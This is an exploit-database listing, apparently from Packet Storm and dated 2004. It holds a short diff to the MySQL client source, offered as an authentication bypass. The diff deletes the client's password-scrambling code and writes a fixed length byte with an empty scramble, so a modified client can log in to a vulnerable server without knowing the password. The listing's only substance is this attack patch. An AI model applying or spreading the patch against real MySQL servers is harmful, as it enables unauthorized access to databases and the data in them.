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mysql.authentication.bypass_client.c.diff

🗓️ 08 Jul 2004 00:00:00Reported by bambamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

MySQL client authentication code allows password handling and potential bypass vulnerabilities.

Code
`1941,1956c1941,1942  
< if (passwd[0])  
< {  
< if (mysql->server_capabilities & CLIENT_SECURE_CONNECTION)  
< {  
< *end++= SCRAMBLE_LENGTH;  
< scramble(end, mysql->scramble, passwd);  
< end+= SCRAMBLE_LENGTH;  
< }  
< else  
< {  
< scramble_323(end, mysql->scramble, passwd);  
< end+= SCRAMBLE_LENGTH_323 + 1;  
< }  
< }  
< else  
< *end++= '\0'; /* empty password */  
---  
> sprintf(end,"\x14\x00");  
> end+=2;  
`

Data

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08 Jul 2004 00:00Current
0.1Low risk
Vulners AI Score0.1
21